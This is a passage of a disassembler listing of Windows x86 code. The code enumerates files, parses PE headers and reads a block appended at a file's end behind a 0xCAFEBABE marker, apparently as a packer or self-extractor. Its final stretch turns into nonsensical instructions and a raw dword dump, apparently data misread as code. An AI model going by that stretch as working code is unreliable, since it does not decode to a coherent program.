ds:dword_424604 mov edx, [ecx+2Ch] add edx, 30h mov [ebp+var_38], edx mov edi, [ebp+var_38] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov [ebp+var_34], ecx push 5Ch mov eax, [ebp+var_20] add eax, 10h push eax call sub_4105C0 add esp, 8 mov [ebp+var_30], eax cmp [ebp+var_30], 0 jnz short loc_416E50 mov edi, [ebp+var_20] add edi, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov edx, [ebp+var_20] lea eax, [edx+ecx+10h] mov [ebp+var_30], eax loc_416E50: ; CODE XREF: sub_416C60+1D2j mov ecx, [ebp+var_20] add ecx, 10h mov edx, [ebp+var_30] sub edx, ecx add edx, [ebp+var_34] cmp edx, 104h jb short loc_416E70 mov ecx, 0EF000004h call sub_41BA32 loc_416E70: ; CODE XREF: sub_416C60+204j mov ecx, [ebp+var_34] add ecx, 1 mov esi, [ebp+var_38] mov edi, [ebp+var_30] add edi, 1 mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, [ebp+var_20] add edi, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov ecx, [ebp+var_20] add ecx, 10h push ecx call ds:dword_424748 ; CharUpperBuffA loc_416EAD: ; CODE XREF: sub_416C60+193j mov edx, [ebp+var_20] mov dword ptr [edx], 0 mov eax, [ebp+var_20] mov dword ptr [eax+4], 0 mov ecx, [ebp+var_20] mov ds:dword_424888, ecx mov edx, ds:dword_424604 mov eax, [edx+24h] and eax, 1 test eax, eax jz short loc_416EEC push 1 push 1 mov ecx, [ebp+var_20] add ecx, 10h push ecx call loc_4173B0 add esp, 0Ch loc_416EEC: ; CODE XREF: sub_416C60+277j push 105h call sub_41BA4A add esp, 4 mov [ebp+var_1B4], eax mov edx, [ebp+var_1B4] mov [ebp+var_40], edx push 5Ch mov eax, [ebp+var_20] add eax, 10h push eax call sub_4105C0 add esp, 8 add eax, 1 mov [ebp+var_4C], eax mov [ebp+var_44], 0 mov ecx, ds:dword_424604 mov edx, [ecx+2Ch] add edx, 71h mov [ebp+var_48], edx mov edi, [ebp+var_48] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov eax, [ebp+var_48] add eax, ecx mov [ebp+var_3C], eax mov ecx, [ebp+var_48] cmp ecx, [ebp+var_3C] jz loc_417187 mov [ebp+var_44], 1 mov edx, [ebp+var_48] mov [ebp+var_19C], edx jmp short loc_416F79 ; --------------------------------------------------------------------------- loc_416F6A: ; CODE XREF: sub_416C60:loc_416FA4j mov eax, [ebp+var_19C] add eax, 1 mov [ebp+var_19C], eax loc_416F79: ; CODE XREF: sub_416C60+308j mov ecx, [ebp+var_19C] cmp ecx, [ebp+var_3C] jz short loc_416FA6 mov edx, [ebp+var_19C] movsx eax, byte ptr [edx] cmp eax, 3Bh jnz short loc_416FA4 mov ecx, [ebp+var_19C] mov byte ptr [ecx], 0 mov edx, [ebp+var_44] add edx, 1 mov [ebp+var_44], edx loc_416FA4: ; CODE XREF: sub_416C60+330j jmp short loc_416F6A ; --------------------------------------------------------------------------- loc_416FA6: ; CODE XREF: sub_416C60+322j mov eax, [ebp+var_20] add eax, 114h mov edi, eax mov edx, [ebp+var_40] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea ecx, [ebp+var_50] push ecx mov edx, [ebp+var_40] push edx push 104h mov eax, [ebp+var_1C] push eax call ds:dword_424688 ; GetFullPathNameA mov edi, [ebp+var_40] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov ecx, [ebp+var_40] push ecx call ds:dword_424748 ; CharUpperBuffA mov edx, [ebp+var_48] mov [ebp+var_54], edx mov [ebp+var_58], 0 jmp short loc_417019 ; --------------------------------------------------------------------------- loc_417010: ; CODE XREF: sub_416C60+522j mov eax, [ebp+var_58] add eax, 1 mov [ebp+var_58], eax loc_417019: ; CODE XREF: sub_416C60+3AEj mov ecx, [ebp+var_58] cmp ecx, [ebp+var_44] jnb loc_417187 mov edi, [ebp+var_54] mov edx, [ebp+var_50] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea ecx, [ebp+var_198] push ecx mov edx, [ebp+var_40] push edx call ds:dword_424650 ; FindFirstFileA mov [ebp+var_1A0], eax cmp [ebp+var_1A0], 0FFFFFFFFh jz loc_417164 loc_41706C: ; CODE XREF: sub_416C60+4F1j mov eax, [ebp+var_198] and eax, 10h test eax, eax jnz loc_41713B mov ecx, [ebp+var_4C] push ecx lea edx, [ebp+var_16C] push edx call ds:dword_424740 ; lstrcmpi test eax, eax jz loc_41713B lea edi, [ebp+var_16C] mov edx, [ebp+var_50] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, [ebp+var_50] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov ecx, [ebp+var_50] push ecx call ds:dword_424748 ; CharUpperBuffA mov [ebp+var_1A4], 0 mov [ebp+var_4], 1 push 0 push 1 mov edx, [ebp+var_40] push edx call loc_4173B0 add esp, 0Ch mov [ebp+var_4], 0 jmp short loc_41713B ; --------------------------------------------------------------------------- loc_417100: ; DATA XREF: _4:00421410o mov eax, [ebp+var_14] mov ecx, [eax] mov edx, [ecx] mov [ebp+var_1E4], edx mov eax, [ebp+var_1E4] mov [ebp+var_1A4], eax mov ecx, [ebp+var_1A4] and ecx, 0EF000000h xor eax, eax cmp ecx, 0EF000000h setz al retn ; --------------------------------------------------------------------------- loc_417131: ; DATA XREF: _4:00421414o mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_41713B: ; CODE XREF: sub_416C60+417j ; sub_416C60+430j ... lea edx, [ebp+var_198] push edx mov eax, [ebp+var_1A0] push eax call ds:dword_424654 ; FindNextFileA test eax, eax jnz loc_41706C mov ecx, [ebp+var_1A0] push ecx call ds:dword_42464C ; FindClose loc_417164: ; CODE XREF: sub_416C60+406j ; sub_416C60+517j mov edx, [ebp+var_54] movsx eax, byte ptr [edx] test eax, eax jz short loc_417179 mov ecx, [ebp+var_54] add ecx, 1 mov [ebp+var_54], ecx jmp short loc_417164 ; --------------------------------------------------------------------------- loc_417179: ; CODE XREF: sub_416C60+50Cj mov edx, [ebp+var_54] add edx, 1 mov [ebp+var_54], edx jmp loc_417010 ; --------------------------------------------------------------------------- loc_417187: ; CODE XREF: sub_416C60+2F2j ; sub_416C60+3BFj mov eax, [ebp+var_40] mov [ebp+var_1B8], eax mov ecx, [ebp+var_1B8] push ecx call sub_41BACD add esp, 4 call sub_418070 push 10040h call sub_41BA4A add esp, 4 mov [ebp+var_1BC], eax mov edx, [ebp+var_1BC] mov ds:dword_424878, edx push 10000h call sub_41BA4A add esp, 4 mov [ebp+var_1C0], eax mov eax, [ebp+var_1C0] mov ds:dword_42487C, eax push 10000h call sub_41BA4A add esp, 4 mov [ebp+var_1C4], eax mov ecx, [ebp+var_1C4] mov ds:dword_424880, ecx push 10000h call sub_41BA4A add esp, 4 mov [ebp+var_1C8], eax mov edx, [ebp+var_1C8] mov ds:dword_424884, edx push 28h call sub_41BA4A add esp, 4 mov [ebp+var_1CC], eax cmp [ebp+var_1CC], 0 jz short loc_417250 push 83h mov ecx, [ebp+var_1CC] call sub_41EA57 mov [ebp+var_1E8], eax jmp short loc_41725A ; --------------------------------------------------------------------------- loc_417250: ; CODE XREF: sub_416C60+5D6j mov [ebp+var_1E8], 0 loc_41725A: ; CODE XREF: sub_416C60+5EEj mov eax, [ebp+var_1E8] mov ds:dword_424864, eax push 28h call sub_41BA4A add esp, 4 mov [ebp+var_1D0], eax cmp [ebp+var_1D0], 0 jz short loc_417296 push 83h mov ecx, [ebp+var_1D0] call sub_41EA57 mov [ebp+var_1EC], eax jmp short loc_4172A0 ; --------------------------------------------------------------------------- loc_417296: ; CODE XREF: sub_416C60+61Cj mov [ebp+var_1EC], 0 loc_4172A0: ; CODE XREF: sub_416C60+634j mov ecx, [ebp+var_1EC] mov ds:dword_424868, ecx push 28h call sub_41BA4A add esp, 4 mov [ebp+var_1D4], eax cmp [ebp+var_1D4], 0 jz short loc_4172DD push 83h mov ecx, [ebp+var_1D4] call sub_41EA57 mov [ebp+var_1F0], eax jmp short loc_4172E7 ; --------------------------------------------------------------------------- loc_4172DD: ; CODE XREF: sub_416C60+663j mov [ebp+var_1F0], 0 loc_4172E7: ; CODE XREF: sub_416C60+67Bj mov edx, [ebp+var_1F0] mov ds:dword_424860, edx push 28h call sub_41BA4A add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 0 jz short loc_417324 push 83h mov ecx, [ebp+var_1D8] call sub_41EA57 mov [ebp+var_1F4], eax jmp short loc_41732E ; --------------------------------------------------------------------------- loc_417324: ; CODE XREF: sub_416C60+6AAj mov [ebp+var_1F4], 0 loc_41732E: ; CODE XREF: sub_416C60+6C2j mov eax, [ebp+var_1F4] mov ds:dword_42486C, eax mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh call sub_41734E jmp short loc_41739F sub_416C60 endp ; =============== S U B R O U T I N E ======================================= sub_41734E proc near ; CODE XREF: sub_416C60+6E7p ; DATA XREF: _4:00421408o mov ecx, [ebp-1Ch] mov [ebp-1DCh], ecx mov edx, [ebp-1DCh] push edx call sub_41BACD add esp, 4 cmp dword ptr [ebp-20h], 0 jz short loc_41738E mov ds:dword_424888, 0 mov eax, [ebp-20h] mov [ebp-1E0h], eax mov ecx, [ebp-1E0h] push ecx call sub_41BACD add esp, 4 loc_41738E: ; CODE XREF: sub_41734E+1Cj cmp dword ptr [ebp-24h], 0FFFFFFFFh jz short locret_41739E mov edx, [ebp-24h] push edx call ds:dword_424624 ; CloseHandle locret_41739E: ; CODE XREF: sub_41734E+44j retn sub_41734E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_416C60 loc_41739F: ; CODE XREF: sub_416C60+6ECj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_416C60 ; --------------------------------------------------------------------------- loc_4173B0: ; CODE XREF: sub_416C60+284p ; sub_416C60+48Fp push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421418 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFD9Ch push ebx push esi push edi mov dword ptr [ebp-20h], 0 mov edi, [ebp+8] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov [ebp-1Ch], ecx mov dword ptr [ebp-28h], 0FFFFFFFFh mov dword ptr [ebp-24h], 0 mov dword ptr [ebp-4], 0 push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+8] push eax call ds:dword_424628 ; CreateFileA mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0FFFFFFFFh jnz short loc_417430 mov ecx, 0EF000005h call sub_41BA32 loc_417430: ; CODE XREF: _3:00417424j push 0 mov ecx, [ebp-28h] push ecx call ds:dword_424680 ; GetFileSize mov [ebp-4Ch], eax mov dword ptr [ebp-70h], 0 mov edx, [ebp+10h] and edx, 0FFh test edx, edx jz loc_417537 mov eax, ds:dword_424604 mov ecx, [eax+24h] and ecx, 2 test ecx, ecx jnz loc_417537 mov edx, ds:dword_424604 mov eax, [edx+4] mov [ebp-78h], eax mov ecx, [ebp-78h] mov edx, [ebp-78h] add edx, [ecx+3Ch] mov ds:dword_424890, edx mov eax, ds:dword_424890 cmp dword ptr [eax], 4550h jz short loc_41749C mov ecx, 0EF000002h call sub_41BA32 loc_41749C: ; CODE XREF: _3:00417490j mov ecx, ds:dword_424890 add ecx, 98h mov [ebp-74h], ecx mov edx, [ebp-74h] cmp dword ptr [edx], 0 jz loc_417537 mov eax, [ebp-74h] cmp dword ptr [eax+4], 0 jz short loc_417537 mov ecx, [ebp-74h] mov edx, [ebp-4Ch] sub edx, [ecx] neg edx mov [ebp-70h], edx mov eax, [ebp-74h] mov ecx, [eax] mov [ebp-4Ch], ecx mov dword ptr [ebp-7Ch], 0 loc_4174DC: ; CODE XREF: _3:00417535j push 2 push 0 mov edx, [ebp-70h] sub edx, 1 push edx mov eax, [ebp-28h] push eax call ds:dword_424708 ; SetFilePointer mov [ebp-84h], eax push 0 lea ecx, [ebp-80h] push ecx push 1 lea edx, [ebp-7Ch] push edx mov eax, [ebp-28h] push eax call ds:dword_4246FC ; ReadFile test eax, eax jnz short loc_41751B mov ecx, 0EF000006h call sub_41BA32 loc_41751B: ; CODE XREF: _3:0041750Fj cmp dword ptr [ebp-7Ch], 0 jz short loc_417523 jmp short loc_417537 ; --------------------------------------------------------------------------- loc_417523: ; CODE XREF: _3:0041751Fj mov ecx, [ebp-70h] sub ecx, 1 mov [ebp-70h], ecx mov edx, [ebp-4Ch] sub edx, 1 mov [ebp-4Ch], edx jmp short loc_4174DC ; --------------------------------------------------------------------------- loc_417537: ; CODE XREF: _3:00417451j _3:00417464j ... push 2 push 0 mov eax, [ebp-70h] sub eax, 4 push eax mov ecx, [ebp-28h] push ecx call ds:dword_424708 ; SetFilePointer mov [ebp-6Ch], eax mov dword ptr [ebp-88h], 0 push 0 lea edx, [ebp-88h] push edx push 4 lea eax, [ebp-8Ch] push eax mov ecx, [ebp-28h] push ecx call ds:dword_4246FC ; ReadFile test eax, eax jz short loc_417582 cmp dword ptr [ebp-88h], 4 jz short loc_41758C loc_417582: ; CODE XREF: _3:00417577j mov ecx, 0EF000006h call sub_41BA32 loc_41758C: ; CODE XREF: _3:00417580j cmp dword ptr [ebp-8Ch], 0CAFEBABEh jz short loc_4175AF mov edx, [ebp-8Ch] xor edx, 0CAFEBABEh xor edx, [ebp-4Ch] mov [ebp-24Ch], edx jmp short loc_4175BA ; --------------------------------------------------------------------------- loc_4175AF: ; CODE XREF: _3:00417596j mov eax, ds:dword_423BB0 mov [ebp-24Ch], eax loc_4175BA: ; CODE XREF: _3:004175ADj mov ecx, [ebp-24Ch] mov [ebp-90h], ecx mov edx, [ebp+0Ch] and edx, 0FFh test edx, edx jz short loc_4175EE mov eax, offset dword_423BB0 lea ecx, [ebp-90h] mov edx, [ecx] cmp edx, [eax] jz short loc_4175EE mov ecx, 0EF000007h call sub_41BA32 loc_4175EE: ; CODE XREF: _3:004175D1j _3:004175E2j push 2 push 0 mov eax, [ebp-70h] sub eax, 14h push eax mov ecx, [ebp-28h] push ecx call ds:dword_424708 ; SetFilePointer mov dword ptr [ebp-94h], 0 push 0 lea edx, [ebp-94h] push edx push 10h lea eax, [ebp-44h] push eax mov ecx, [ebp-28h] push ecx call ds:dword_4246FC ; ReadFile test eax, eax jz short loc_417633 cmp dword ptr [ebp-94h], 10h jz short loc_41763D loc_417633: ; CODE XREF: _3:00417628j mov ecx, 0EF000006h call sub_41BA32 loc_41763D: ; CODE XREF: _3:00417631j mov edx, [ebp+10h] and edx, 0FFh neg edx sbb edx, edx and edx, 0Ch mov [ebp-60h], edx push 2 push 0 mov eax, [ebp-60h] add eax, 2Ch mov ecx, [ebp-70h] sub ecx, eax push ecx mov edx, [ebp-28h] push edx call ds:dword_424708 ; SetFilePointer mov dword ptr [ebp-98h], 0 mov eax, [ebp+10h] and eax, 0FFh test eax, eax jz loc_417714 push 0 lea ecx, [ebp-98h] push ecx push 4 lea edx, [ebp-2Ch] push edx mov eax, [ebp-28h] push eax call ds:dword_4246FC ; ReadFile test eax, eax jz short loc_4176AA cmp dword ptr [ebp-98h], 4 jz short loc_4176B4 loc_4176AA: ; CODE XREF: _3:0041769Fj mov ecx, 0EF000006h call sub_41BA32 loc_4176B4: ; CODE XREF: _3:004176A8j push 0 lea ecx, [ebp-98h] push ecx push 4 lea edx, [ebp-48h] push edx mov eax, [ebp-28h] push eax call ds:dword_4246FC ; ReadFile test eax, eax jz short loc_4176DA cmp dword ptr [ebp-98h], 4 jz short loc_4176E4 loc_4176DA: ; CODE XREF: _3:004176CFj mov ecx, 0EF000006h call sub_41BA32 loc_4176E4: ; CODE XREF: _3:004176D8j push 0 lea ecx, [ebp-98h] push ecx push 4 lea edx, [ebp-30h] push edx mov eax, [ebp-28h] push eax call ds:dword_4246FC ; ReadFile test eax, eax jz short loc_41770A cmp dword ptr [ebp-98h], 4 jz short loc_417714 loc_41770A: ; CODE XREF: _3:004176FFj mov ecx, 0EF000006h call sub_41BA32 loc_417714: ; CODE XREF: _3:0041767Ej _3:00417708j push 0 lea ecx, [ebp-98h] push ecx push 4 lea edx, [ebp-58h] push edx mov eax, [ebp-28h] push eax call ds:dword_4246FC ; ReadFile test eax, eax jz short loc_41773A cmp dword ptr [ebp-98h], 4 jz short loc_417744 loc_41773A: ; CODE XREF: _3:0041772Fj mov ecx, 0EF000006h call sub_41BA32 loc_417744: ; CODE XREF: _3:00417738j push 0 lea ecx, [ebp-98h] push ecx push 4 lea edx, [ebp-68h] push edx mov eax, [ebp-28h] push eax call ds:dword_4246FC ; ReadFile test eax, eax jz short loc_41776A cmp dword ptr [ebp-98h], 4 jz short loc_417774 loc_41776A: ; CODE XREF: _3:0041775Fj mov ecx, 0EF000006h call sub_41BA32 loc_417774: ; CODE XREF: _3:00417768j push 0 lea ecx, [ebp-98h] push ecx push 4 lea edx, [ebp-34h] push edx mov eax, [ebp-28h] push eax call ds:dword_4246FC ; ReadFile test eax, eax jz short loc_41779A cmp dword ptr [ebp-98h], 4 jz short loc_4177A4 loc_41779A: ; CODE XREF: _3:0041778Fj mov ecx, 0EF000006h call sub_41BA32 loc_4177A4: ; CODE XREF: _3:00417798j push 0 lea ecx, [ebp-98h] push ecx push 4 lea edx, [ebp-5Ch] push edx mov eax, [ebp-28h] push eax call ds:dword_4246FC ; ReadFile test eax, eax jz short loc_4177CA cmp dword ptr [ebp-98h], 4 jz short loc_4177D4 loc_4177CA: ; CODE XREF: _3:004177BFj mov ecx, 0EF000006h call sub_41BA32 loc_4177D4: ; CODE XREF: _3:004177C8j push 0 lea ecx, [ebp-98h] push ecx push 4 lea edx, [ebp-64h] push edx mov eax, [ebp-28h] push eax call ds:dword_4246FC ; ReadFile test eax, eax jz short loc_4177FA cmp dword ptr [ebp-98h], 4 jz short loc_417804 loc_4177FA: ; CODE XREF: _3:004177EFj mov ecx, 0EF000006h call sub_41BA32 loc_417804: ; CODE XREF: _3:004177F8j push 0 lea ecx, [ebp-98h] push ecx push 4 lea edx, [ebp-50h] push edx mov eax, [ebp-28h] push eax call ds:dword_4246FC ; ReadFile test eax, eax jz short loc_41782A cmp dword ptr [ebp-98h], 4 jz short loc_417834 loc_41782A: ; CODE XREF: _3:0041781Fj mov ecx, 0EF000006h call sub_41BA32 loc_417834: ; CODE XREF: _3:00417828j mov ecx, [ebp+10h] and ecx, 0FFh test ecx, ecx jz loc_417A51 cmp dword ptr [ebp-48h], 0 jz loc_417A51 cmp dword ptr [ebp-2Ch], 0 jz loc_417A51 push 24h call sub_41BA4A add esp, 4 mov [ebp-21Ch], eax mov edx, [ebp-21Ch] mov [ebp-9Ch], edx mov eax, [ebp-1Ch] add eax, 1 push eax call sub_41BA4A add esp, 4 mov [ebp-220h], eax mov ecx, [ebp-9Ch] mov edx, [ebp-220h] mov [ecx+0Ch], edx mov ecx, [ebp-1Ch] add ecx, 1 mov esi, [ebp+8] mov eax, [ebp-9Ch] mov edi, [eax+0Ch] mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebp-9Ch] mov dword ptr [eax], 0 push 10h call sub_41BA4A add esp, 4 mov [ebp-224h], eax mov ecx, [ebp-9Ch] mov edx, [ebp-224h] mov [ecx+4], edx push 4 call sub_41BA4A add esp, 4 mov [ebp-228h], eax mov eax, [ebp-9Ch] mov ecx, [ebp-228h] mov [eax+8], ecx mov edx, [ebp-9Ch] mov dword ptr [edx+18h], 1 mov eax, [ebp-9Ch] mov dword ptr [eax+14h], 0 push 0 push 0 mov ecx, [ebp-9Ch] add ecx, 1Ch push ecx mov edx, [ebp-28h] push edx call ds:dword_424684 ; GetFileTime mov edi, ds:dword_42488C or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov eax, ds:dword_424888 sub ecx, [eax+21Ch] mov [ebp-0A0h], ecx mov ecx, [ebp-0A0h] add ecx, 1 push ecx call sub_41BA4A add esp, 4 mov [ebp-22Ch], eax mov edx, [ebp-9Ch] mov eax, [edx+4] mov ecx, [ebp-22Ch] mov [eax], ecx mov edx, [ebp-9Ch] mov eax, [edx+4] mov ecx, [ebp-9Ch] mov edx, [ecx+8] mov eax, [eax] mov [edx], eax mov ecx, [ebp-0A0h] add ecx, 1 mov edx, ds:dword_424888 mov esi, ds:dword_42488C add esi, [edx+21Ch] mov eax, [ebp-9Ch] mov edx, [eax+8] mov edi, [edx] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp-0A0h] push ecx mov edx, [ebp-9Ch] mov eax, [edx+8] mov ecx, [eax] push ecx call ds:dword_424748 ; CharUpperBuffA mov edx, [ebp-9Ch] mov eax, [edx+4] mov ecx, [ebp-2Ch] mov [eax+4], ecx mov edx, [ebp-9Ch] mov eax, [edx+4] mov ecx, [ebp-48h] mov [eax+8], ecx mov edx, [ebp-9Ch] mov eax, [edx+4] mov ecx, [ebp-30h] mov [eax+0Ch], ecx mov edx, ds:dword_424888 mov [ebp-0A4h], edx mov eax, [ebp-9Ch] mov ecx, [ebp-0A4h] mov edx, [ecx] mov [eax+10h], edx mov eax, [ebp-0A4h] mov ecx, [ebp-9Ch] mov [eax], ecx mov edx, ds:dword_424888 mov eax, [edx+4] add eax, 1 mov ecx, ds:dword_424888 mov [ecx+4], eax loc_417A51: ; CODE XREF: _3:0041783Fj _3:00417849j ... mov edx, [ebp-4Ch] sub edx, [ebp-50h] mov [ebp-50h], edx mov eax, [ebp-34h] add eax, [ebp-50h] mov [ebp-34h], eax mov ecx, [ebp-4Ch] sub ecx, [ebp-34h] test ecx, ecx jb short loc_417A78 mov edx, [ebp-4Ch] sub edx, [ebp-34h] cmp [ebp-58h], edx jbe short loc_417A82 loc_417A78: ; CODE XREF: _3:00417A6Bj mov ecx, 0EF000007h call sub_41BA32 loc_417A82: ; CODE XREF: _3:00417A76j mov eax, [ebp-58h] push eax call sub_41BA4A add esp, 4 mov [ebp-230h], eax mov ecx, [ebp-230h] mov [ebp-24h], ecx mov dword ptr [ebp-178h], 0 mov dword ptr [ebp-17Ch], 0 push 0 push 0 mov edx, [ebp-34h] push edx mov eax, [ebp-28h] push eax call ds:dword_424708 ; CODE XREF: _3:00417B39j loc_417AC3: ; CODE XREF: _3:00417B19j mov ecx, [ebp-17Ch] cmp ecx, [ebp-58h] jz short loc_417B1B mov dword ptr [ebp-178h], 0 push 0 lea edx, [ebp-178h] push edx mov eax, [ebp-58h] sub eax, [ebp-17Ch] push eax mov ecx, [ebp-24h] push ecx mov edx, [ebp-28h] push edx call ds:dword_4246FC ; ReadFile test eax, eax jnz short loc_417B07 mov ecx, 0EF000006h call sub_41BA32 loc_417B07: ; CODE XREF: _3:00417AFBj mov eax, [ebp-17Ch] add eax, [ebp-178h] mov [ebp-17Ch], eax jmp short loc_417AC3 ; --------------------------------------------------------------------------- loc_417B1B: ; CODE XREF: _3:00417ACCj push 120000h call sub_411B9E rcr ch, 1 imul ebp, [esi+75FB48F1h], 0E6C2A7C0h fadd qword ptr [ecx] xchg eax, ecx mov ds:0A7BAE2EFh, eax ja short near ptr loc_417ABD+1 fstp tbyte ptr [ecx-64CC94F3h] jmp far ptr 79C1h:0A858C6FBh ; --------------------------------------------------------------------------- dword_417B48 dd 0A37034C6h, 9DABC4B6h, 738E9490h, 0E3D54F5Ch, 16F1CCD7h dd 0CDDAB835h, 0B46ADCAFh, 74F852F6h, 0F69F12Ch, 89A5EB33h dd 0BB78C042h, 95A3DCCEh, 6E886C88h, 0FAAD4754h, 0EEF9ECDFh dd 0C5D28005h, 0D2339090h, 0EE75D285h, 0FE088D8Dh, 0EDE8FFFFh dd 8B000032h, 8B50A845h, 8D51DC4Dh, 0FFFE088Dh, 32E6E8FFh dd 958D0000h, 0FFFFFE74h, 88D8D52h, 0E8FFFFFEh, 338Dh dd 4B9h, 74BD8D00h, 8DFFFFFEh, 0C033BC75h, 0A74A7F3h, 7B9h dd 3E54E8EFh, 246A0000h, 3E65E8h, 4C48300h, 0FDCC8589h dd 8D8BFFFFh, 0FFFFFDCCh, 8BE04D89h, 0C283E455h, 47E85201h dd 8300003Eh, 858904C4h, 0FFFFFDC8h, 8BE0458Bh, 0FFFDC88Dh dd 0C4889FFh, 83E44D8Bh, 758B01C1h, 0E0558B08h, 8B0C7A8Bh dd 2E9C1C1h, 0C88BA5F3h, 0F303E183h, 0E04D8BA4h, 89DC558Bh dd 0DC458B11h, 8BA44503h, 4189E04Dh, 9C558B04h, 5202E2C1h dd 3DF5E8h, 4C48300h, 0FDC48589h, 458BFFFFh, 0C48D8BE0h dd 89FFFFFDh, 558B0848h, 9C458BE0h, 8B184289h, 41C7E04Dh dd 14h, 6A006A00h, 0E0558B00h, 521CC283h, 50D8458Bh, 468415FFh dd 45C70042h, 0ACh, 8B09EB00h, 0C183AC4Dh, 0AC4D8901h dd 3BAC558Bh, 830F9C55h, 0E3h, 0C1AC458Bh, 4D8B04E0h, 4518BE0h dd 3DC4D8Bh, 558B020Ch, 4E2C1ACh, 8BE0458Bh, 0C890440h dd 0AC4D8B10h, 8B04E1C1h, 428BE055h, 83C8B04h, 33FFC983h dd 0F7AEF2C0h, 0FFC183D1h, 0FE048D89h, 8D8BFFFFh, 0FFFFFE04h dd 5101C183h, 3D49E8h, 4C48300h, 0FDC08589h, 558BFFFFh dd 8428BE0h, 8BAC4D8Bh, 0FFFDC095h, 881489FFh, 0FE048D8Bh dd 0C183FFFFh, 0AC458B01h, 8B04E0C1h, 528BE055h, 2348B04h dd 8BE0458Bh, 458B0850h, 823C8BACh, 0E9C1D18Bh, 8BA5F302h dd 3E183CAh, 858BA4F3h, 0FFFFFE04h, 0AC4D8B50h, 8B04E1C1h dd 428BE055h, 80C8B04h, 4815FF51h, 8B004247h, 0E2C1AC55h dd 0E0458B04h, 8B04488Bh, 3041154h, 458BB055h, 4E0C1ACh dd 8BE04D8Bh, 54890449h, 8E90401h, 8BFFFFFFh, 5503DC55h dd 0FC7A81A8h, 0FEFEFEFEh, 0A8850Fh, 458B0000h, 0A84503DCh dd 89F8488Bh, 0FFFDF88Dh, 0DC558BFFh, 8BA85503h, 8589F442h dd 0FFFFFDFCh, 3DC4D8Bh, 0FFFDFC8Dh, 8D89FFh, 0C7FFFFFEh dd 0FFFDF485h, 0FFh, 8B0FEB00h, 0FFFDF495h, 1C283FFh, 0FDF49589h dd 858BFFFFh, 0FFFFFDF4h, 0FDF8853Bh, 3A73FFFFh, 0FDF48D8Bh dd 0C96BFFFFh, 958B18h, 3FFFFFEh, 0F09589D1h, 8BFFFFFDh dd 0FFFDF085h, 0DC4D8BFFh, 8B104803h, 0FFFDF095h, 104A89FFh dd 0FDF0858Bh, 8589FFFFh, 0FFFFFDECh, 8D8BA9EBh, 0FFFFFE00h dd 48700D89h, 958B0042h, 0FFFFFDF8h, 48741589h, 88A10042h dd 89004248h, 0FFFDE885h, 0E88D8BFFh, 83FFFFFDh, 840F0039h dd 153h, 8908558Bh, 0FFFDB095h, 0E8858BFFh, 8BFFFFFDh dd 0C518B08h, 0FDAC9589h, 858BFFFFh, 0FFFFFDACh, 8D88088Ah dd 0FFFFFDABh, 0FDB0958Bh, 0A3AFFFFh, 0BD804675h, 0FFFFFDABh dd 8B317400h, 0FFFDAC85h, 1488AFFh, 0FDAA8D88h, 958BFFFFh dd 0FFFFFDB0h, 75014A3Ah, 0AC858323h, 2FFFFFDh, 0FDB08583h dd 8002FFFFh, 0FFFDAABDh, 0AE7500FFh, 0FDA485C7h, 0FFFFh dd 0BEB0000h, 0D883C01Bh, 0A48589FFh, 8BFFFFFDh, 0FFFDA48Dh dd 0A08D89FFh, 83FFFFFDh, 0FFFDA0BDh, 57D00FFh, 0B6E9h dd 88158B00h, 83004248h, 958910C2h, 0FFFFFD9Ch, 0FDE8858Bh dd 88BFFFFh, 890C518Bh, 0FFFD9895h, 98858BFFh, 8AFFFFFDh dd 978D8808h, 8BFFFFFDh, 0FFFD9C95h, 750A3AFFh, 97BD8046h dd 0FFFFFDh, 858B3174h, 0FFFFFD98h, 8801488Ah, 0FFFD968Dh dd 9C958BFFh, 3AFFFFFDh, 2375014Ah, 0FD988583h, 8302FFFFh dd 0FFFD9C85h, 0BD8002FFh, 0FFFFFD96h, 0C7AE7500h, 0FFFD9085h dd 0FFh, 1B0BEB00h, 0FFD883C0h, 0FD908589h, 8D8BFFFFh dd 0FFFFFD90h, 0FD8C8D89h, 0BD83FFFFh, 0FFFFFD8Ch, 0EB027500h dd 0E8958B16h, 8BFFFFFDh, 10C08302h, 0FDE88589h, 9EE9FFFFh dd 8BFFFFFEh, 958BE04Dh, 0FFFFFDE8h, 4189028Bh, 0E88D8B10h dd 8BFFFFFDh, 1189E055h, 424888A1h, 4488B00h, 8B9C4D03h dd 42488815h, 